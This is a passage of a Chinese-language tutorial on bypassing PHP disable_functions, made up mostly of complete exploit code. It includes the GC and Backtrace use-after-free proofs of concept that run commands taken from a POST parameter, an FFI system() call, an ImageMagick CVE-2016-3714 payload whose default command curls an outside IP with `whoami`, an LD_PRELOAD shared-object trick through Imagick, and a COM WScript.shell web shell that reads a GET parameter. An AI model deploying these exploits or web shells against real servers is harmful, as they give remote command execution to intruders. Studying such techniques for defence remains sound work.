        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);

通过蚁剑或者PHP的file_put_contents写入之后,运行即可执行命令

 

GC UAF

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

 

Backtrace UAF

影响版本是7.0-7.4

<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

 

FFI扩展

php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
?>

 

ImageMagick

imagemagick是一个用于处理图片的程序,如果上传的图片含有攻击代码,在处理时可被远程执行任意代码(CVE-2016–3714)

题目环境:https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1

poc.png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/"|whoami")'
pop graphic-context

exp.php

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'curl xx.xx.xx.xx:9962/`whoami`';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("test.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('test.mvg');
$thumb->writeImage('test.png');
$thumb->clear();
$thumb->destroy();
unlink("test.mvg");
unlink("test.png");
?>

另外,利用putenv+Imagick bypass disable_function,TCTF Wallbreaker_Easy

test.c

#define _GNU_SOURCE                                   
#include <stdlib.h>                                   
#include <unistd.h>                                   
#include <sys/types.h>                                

__attribute__ ((__constructor__)) void angel (void){  
    unsetenv("LD_PRELOAD");                           
    system("id > /tmp/79e3f0b59df431154c088db7e45ebe6b/id");                          
}

生成exploit.so使用copy上传,再上传test.mov

gcc -c -fPIC test.c -o exploit && gcc --share exploit -o exploit.so

利用Imagick启用新的子进程,执行:

backdoor=putenv("LD_PRELOAD=/tmp/79e3f0b59df431154c088db7e45ebe6b/exploit.so");
$mov = new Imagick("/tmp/79e3f0b59df431154c088db7e45ebe6b/test.mov");

读取执行命令后的内容

backdoor=readfile("/tmp/79e3f0b59df431154c088db7e45ebe6b/id");

 

COM组件

window下的组件,开启组件(php5.4以上),开启com.allow_dcom = true,添加extension=php_com_dotnet.dll

exp.php

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

 

参考

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
https://evi1.cn/post/bypass_disable_func/
https://www.anquanke.com/post/id/195686#h3-3
https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://github.com/mm0r1/exploits
https://github.com/AntSwordProject/ant_php_extension
https://github.com/w181496/FuckFastcgi/blob/master/index.php
https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/

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